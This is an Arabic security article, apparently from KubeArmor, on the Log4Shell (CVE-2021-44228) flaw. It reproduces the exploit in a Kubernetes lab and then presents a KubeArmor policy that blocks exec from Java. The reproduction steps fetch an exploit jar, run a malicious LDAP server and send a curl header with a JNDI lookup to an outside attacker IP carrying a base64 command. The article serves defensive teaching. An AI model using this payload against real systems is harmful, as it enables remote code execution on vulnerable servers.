ثغرة اليوم صفر في Apache Log4j والمعروفة باسم Log4Shell وCVE-2021-44228

• مقدمة
• إعادة إنتاج المشكلة في بيئة k8s
  • إعداد بيئة k8s مع الثغرة
• الحلول الممكنة
  • سياسة أمان KubeArmor
    • عدم السماح بأي عمليات exec من JVM/Java
    • قواعد قائمة على الرفض الافتراضي
    • رؤية/مراقبة KubeArmor داخل الـ pods
  • سياسة شبكة Cilium
    • تقييد الوصول إلى منافذ RMI
• منع ثغرات اليوم صفر المستقبلية
  • كيف يمكن لوضعية الثقة الصفرية منع إساءة استخدام ثغرة log4j؟
  • KubeArmor والثقة الصفرية
• شكر وتقدير

مقدمة

في 9 ديسمبر 2021، أُطلِع العالم على ثغرة جديدة تُعرف باسم CVE-2021-44228، وتؤثر على حزمة تسجيل Java التابعة لأباتشي وهي log4j. حصلت هذه الثغرة على درجة خطورة 10.0 (أخطر تصنيف) وتتيح تنفيذًا عن بُعدًا للكود بسهولة تامة على المضيفات التي تتعامل مع برمجيات تستخدم هذا الإصدار من log4j. أُطلق على هذا الهجوم اسم «Log4Shell».

اليوم، يتوفر الإصدار 2.15.0rc2 من log4j ويُصلح هذه الثغرة. ومع ذلك، يكمن الخطر الهائل لهذه الثغرة في مدى انتشار حزمة التسجيل هذه؛ فملايين التطبيقات وكذلك مزوّدو البرمجيات يستخدمون هذه الحزمة كاعتماد (dependency) في كودهم الخاص.

أول اكتشاف معروف: 2021-12-01 04:36:50 UTC

الإصدارات المتأثرة:

• Log4j <= 2.14.1
• Apache: 2.0 <= Apache log4j <= 2.14.1

من المتأثر؟

• الأثر: تنفيذ كود تعسفي بصلاحيات المستخدم الذي تعمل به العملية الأم (كود يُجلب من الإنترنت العام، أو lolbins موجودة مسبقًا على النظام، أو مجرد جلب أسرار مشتركة أو متغيرات بيئة وإرسالها إلى المهاجم).

• الأهداف: الخوادم والعملاء الذين يشغّلون Java ويسجّلون أي شيء باستخدام إطار عمل log4j — وهي في المقام الأول مسألة تخص جانب الخادم، ولكن أي نقطة نهاية قابلة للاستغلال قد تكون هدفًا أو نقطة انطلاق (pivot).

• المشاريع المشتقة (Downstream): ما لم يثبت العكس، افترض أن أي شيء يتضمن log4j — بما في ذلك Elasticsearch وApache Struts / Solr / Druid / Flink وغيرها — متأثر بطريقة تتطلب تخفيفًا (mitigation).

• الإصدارات المتأثرة: log4j 2.x مؤكد — log4j 1.x فقط بشكل غير مباشر (ثغرات كشف معلومات سابقة) (في بعض التهيئات)

• الأجهزة (Appliances): لا تنسَ الأجهزة التي قد تستخدم مكونات خوادم Java، ولكن لن يتم اكتشافها عبر فحص الثغرات غير المصادق عليه

• إعادة توجيه السجلات: غالبًا ما تمتلك البنية التحتية للتسجيل العديد من طوبولوجيات الإعادة/التتابع «شمالًا» (إرسال سجلاتي إلى جهة ما) و«جنوبًا» (استقبال سجلات من جهة ما). يجب أيضًا أخذ ربطها معًا لغرض الاستغلال في الاعتبار.

• السحابة: تأثر أيضًا العديد من المزودين الكبار (يمكن العثور على قائمة منسقة من المجتمع للبرمجيات والخدمات المعرضة لـ CVE-2021-44228 في مستودع GitHub هذا.

إعادة إنتاج المشكلة في بيئة k8s

إعداد بيئة k8s مع الثغرة

الخطوة #1: نشر pod مع الخدمات المرتبطة به المعرضة لـ Log4j في Kubernetes

git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml

• للتحقق من أن النشر (deployment) يعمل وللحصول على العنوان IP الخارجي، اكتب الأمر التالي:

kubectl get po,svc

• يجب أن تشاهد مخرجًا مشابهًا لهذا

NAME                              READY   STATUS    RESTARTS   AGE
pod/log4j-demo-5d7c84d8b9-vs8ck   1/1     Running   0          1h30m

NAME                 TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
service/kubernetes   ClusterIP      10.112.0.1     <none>          443/TCP        4h44m
service/log4j-svc    LoadBalancer   10.112.8.158   35.241.165.36   80:30202/TCP   1h30m

يرجى ملاحظة أننا نشرنا التطبيق النموذجي المعرض لـ Log4Shell في مساحة الأسماء default

الخطوة #2: تنزيل خادم LDAP خبيث

wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar

الخطوة #3: تشغيل خادم LDAP لاستقبال الحركة الواردة على جهازك أو جهازك الافتراضي السحابي (Cloud VM)

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888

يمكن الاستعلام عن العنوان IP الخاص باستخدام hostname -I.
تأكد من أن جدار الحماية لديك يسمح بحركة المرور على المنفذين 1389 و8888

الخطوة #4: الاستغلال باستخدام أمر cURL

# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

هنا، العنوان IP الأول المستخدم هو عنوان k8s الخارجي (الخطوة #1) حيث يعمل التطبيق النموذجي المعرض للثغرة.
العنوان IP الثاني المستخدم هو العنوان الخارجي لخادم LDAP الخبيث (الخطوة #2)

الخطوة #5: التأكيد عبر التحقق من إنشاء الملف /tmp/pwned

kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp

استبدل log4j-demo-5d7c84d8b9-vs8ck بـ pod الخاص بك من مخرجات الخطوة #1.
يجب أن تشاهد ملفًا منشأً باسم pwned داخل مجلد /tmp.

الحلول الممكنة

سياسة أمان KubeArmor

KubeArmor هي منصة أمان وقت التشغيل (Runtime Security Platform) يمكنها مساعدة فرق الأمن وDevSecOps في حماية أعباء عملهم (workloads) باستخدام ضوابط قائمة على التطبيقات/الأنظمة (مثل تقييد استحداث العمليات (Process Spawning)، وتقييد الوصول إلى نظام الملفات، وتقييد صلاحيات (capabilities) الـ pods، وما إلى ذلك). تمتلك KubeArmor وضع رؤية (visibility) يمكن من خلاله لفريق التطبيق/الأمن تمكين الرؤية وبالتالي اكتشاف ما يحدث داخل الـ pods، أي ما هي العمليات المستحدثة، وما هي محاولات الوصول إلى الملفات، وما إلى ذلك. الميزة الأكبر في KubeArmor هي أنه يمكنك كمستخدم أيضًا إرسال سياسات يمكنها منع/حظر/رفض مثل هذه العمليات النظامية.

عادةً ما يتسلل المهاجم بقصد إما سرقة البيانات الداخلية (exfiltration) أو التعدين الخفي للعملات الرقمية (cryptomining) أو ببساطة إحداث فوضى في التطبيقات الداخلية بهدف جعلها غير متاحة. في كل هذه الحالات، يحتاج المهاجم إلى تنفيذ برنامج تعسفي يمكنه تحقيق نيته الخبيثة. تسمح ثغرة Log4j للمهاجم بوضع ملف ثنائي (binary) داخل الشبكة الداخلية. ومع ذلك، يمكن وضع حواجز حماية (guardrails) بحيث لا يُسمح للـ JVM باستحداث عمليات.

عدم السماح بأي عمليات exec من JVM/Java

في ما يلي سياسة KubeArmor يمكنها رفض/منع أي عمليات من الاستحداث (fork) داخل الـ pod كعملية فرعية لتطبيق Java.

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: do-not-allow-exec-from-java
spec:
  severity: high
  message: "disallow execing from java process"
  selector:
    matchLabels:
      app: log4j2
  process:
    matchPaths:
    - path: * #disaallow all paths from the java process
      fromSource:
      - path: /opt/openjdk-16/bin/java
  action:
    Block

لاحظ أن الإجراء (action) هنا هو Block. ولاحظ أيضًا شرط fromSource الذي يقول إن عمليات exec من العملية المحددة فقط هي التي يجب عدم السماح بها. في جوهر الأمر، تُرفض عمليات exec فقط للعمليات الفرعية لـ Java/JVM. على عكس الأدوات الأخرى، تمتلك KubeArmor القدرة على Block (حظر) عملية النظام في وقت التشغيل.